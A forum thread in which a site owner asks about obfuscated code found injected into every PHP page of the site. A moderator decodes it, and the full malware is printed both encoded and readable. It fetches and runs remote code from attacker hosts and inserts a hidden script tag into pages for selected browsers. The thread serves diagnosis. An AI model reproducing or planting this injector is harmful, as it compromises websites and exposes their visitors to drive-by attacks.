PHP Developers Network

A community of PHP developers offering assistance, advice, discussion, and friendship.
 
Loading
It is currently Mon Sep 28, 2020 4:53 pm

All times are UTC - 5 hours




Post new topic Reply to topic  [ 5 posts ] 
Author Message
PostPosted: Thu Mar 08, 2012 8:08 pm 
Offline
Forum Newbie

Joined: Thu Mar 08, 2012 7:54 pm
Posts: 3
If I'm in the wrong area, please accept my apologies. I believe my site has been hacked. Every PHP page possess the following code and I didn't put it there. I don't know enough PHP to know what it does and how visitors to my site have been affected.

Any advice or explanation would be greatly appreciated:

Syntax: [ Download ] [ Hide ]
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDJWdWN6RXlNbnA2ZW1Sa1lYcDZMbU52YlM4PScpOyAkX1NFUlZFUlsnc19hMSddPWJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDNkM2R5NWpiMjl3WlhKcWMzVjBaamd1Y25VdloxOXNiMkZrTG5Cb2NBPT0nKS4kZDsgJF9TRVJWRVJbJ3NfYTInXT1iYXNlNjRfZGVjb2RlKCdhSFIwY0RvdkwzZDNkeTV0Y25OdGRHbG9hVzVtYnk1eWRTOW5YMnh2WVdRdWNHaHcnKS4kZDsgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibmwucGhwP3A9ZCI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9Cg=="));?>


Top
 Profile  
 
PostPosted: Thu Mar 08, 2012 8:29 pm 
Offline
Moderator
User avatar

Joined: Tue Nov 09, 2010 3:39 pm
Posts: 6425
Location: Montreal, Canada
Here's the actual code
Syntax: [ Download ] [ Hide ]
<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no']))
{
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh'))
    {

        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;$content = @tryfile_777($url);
            if ($content !== false)
                return $content;$content = @tryfopen_777($url);
            if ($content !== false)
                return $content;$content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;$content = @trysocket_777($url);
            if ($content !== false)
                return $content;return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;$ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;return $result;
        }

        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;$inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;return $buf;
        }

        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;$buf = '';
            $f = @fopen($url, 'r');
            if ($f)
            {
                while (!feof($f))
                {
                    $buf.=fread($f, 10000);
                }fclose($f);
            }else
                return false;if ($buf == "")
                return false;return $buf;
        }

        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;$p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $f = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;$request = "GET $uri HTTP/1.0\n";
            $request.="Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f))
            {
                $buf.=fread($f, 10000);
            }fclose($f);
            if ($buf == "")
                return false;list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }

        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;$p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $ip1 = @gethostbyname($host);
            $ip2 = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80))
            {
                @socket_close($sock);
                return false;
            }$request = "GET $uri HTTP/1.0\n";
            $request.="Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000))
            {
                $buf.=$t;
            }@socket_close($sock);
            if ($buf == "")
                return false;list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }

        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);$f = @fopen($tdsfile, "w");
            if ($f)
            {
                @fwrite($f, $val);
                @fclose($f);
            }if (strstr($val, "|||CODE|||"))
            {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }return $val;
        }

        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir = $_SERVER['s_p1'];
            $tdsfile = $dir . "log1.txt";
            if (@file_exists($tdsfile))
            {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1'])
                {
                    $content = update_tds_file_777($tdsfile);
                }
                else
                {
                    $content = @file_get_contents($tdsfile);
                }
            }
            else
            {
                $content = update_tds_file_777($tdsfile);
            }$tds = @explode("\n", $content);
            $c = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1)
            {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }return $url;
        }

        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;return $mac;
        }

        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;return $msie;
        }

        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!is_dir($rz))
            {
                @mkdir($rz);
                if (is_dir($rz))
                {
                    $mz = $rz;
                }
                else
                {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!is_dir($rz))
                    {
                        @mkdir($rz);
                        if (is_dir($rz))
                        {
                            $mz = $rz;
                        }
                    }
                    else
                    {
                        $mz = $rz;
                    }
                }
            }
            else
            {
                $mz = $rz;
            }$bot = 0;
            $ua = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;$msie = 0;
            if (is_msie_777($ua))
                $msie = 1;$mac = 0;
            if (is_mac_777($ua))
                $mac = 1;if (($msie == 0) && ($mac == 0))
                $bot = 1; global $_SERVER;
            $_SERVER['s_p1'] = $mz;
            $_SERVER['s_b1'] = $bot;
            $_SERVER['s_t1'] = 1200;
            $_SERVER['s_d1'] = base64_decode('aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8=');
            $_SERVER['s_a1'] = base64_decode('aHR0cDovL3d3dy5jb29wZXJqc3V0ZjgucnUvZ19sb2FkLnBocA==') . $d;
            $_SERVER['s_a2'] = base64_decode('aHR0cDovL3d3dy5tcnNtdGloaW5mby5ydS9nX2xvYWQucGhw') . $d;
            $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_script'] = "nl.php?p=d";
        }

setup_globals_777();
        if (!function_exists('gml_777'))
        {

            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = ''; return $r_string_777;
            }

        } if (!function_exists('gzdecodeit'))
        {

            function gzdecodeit($decode)
            {
                $t = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v = 0;
                if ($t & 4)
                {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start+=2 + $str;
                } if ($t & <img src="./images/smilies/icon_cool.gif" alt="8)" title="Cool" />
                {
                    $start = @strpos($decode, chr(0), $start) + 1;
                } if ($t & 16)
                {
                    $start = @strpos($decode, chr(0), $start) + 1;
                } if ($t & 2)
                {
                    $start+=2;
                } $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE)
                {
                    $ret = $decode;
                } return $ret;
            }

        }

        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content))
            {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            }
            else
            {
                return $decoded_content . gml_777();
            }
        }

ob_start('mrobh');
    }
}

_________________


Top
 Profile  
 
PostPosted: Thu Mar 08, 2012 8:58 pm 
Offline
Forum Newbie

Joined: Thu Mar 08, 2012 7:54 pm
Posts: 3
Thank you Celauran. It looks like it's trying to contact a server, but after that I'm lost. What would you recommend as a solution or remedy to remove this?


Top
 Profile  
 
PostPosted: Thu Mar 08, 2012 9:16 pm 
Offline
Jack of Zircons
User avatar

Joined: Thu Nov 09, 2006 9:30 pm
Posts: 4484
Location: California, USA
Notice the "mrobh" that appears several times? Google that! For example:


Top
 Profile  
 
PostPosted: Fri Mar 09, 2012 2:03 pm 
Offline
Forum Newbie

Joined: Thu Mar 08, 2012 7:54 pm
Posts: 3
Does it look to you like it affects or writes to my database?


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 5 posts ] 

All times are UTC - 5 hours


Who is online

Users browsing this forum: No registered users and 11 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB® Forum Software © phpBB Group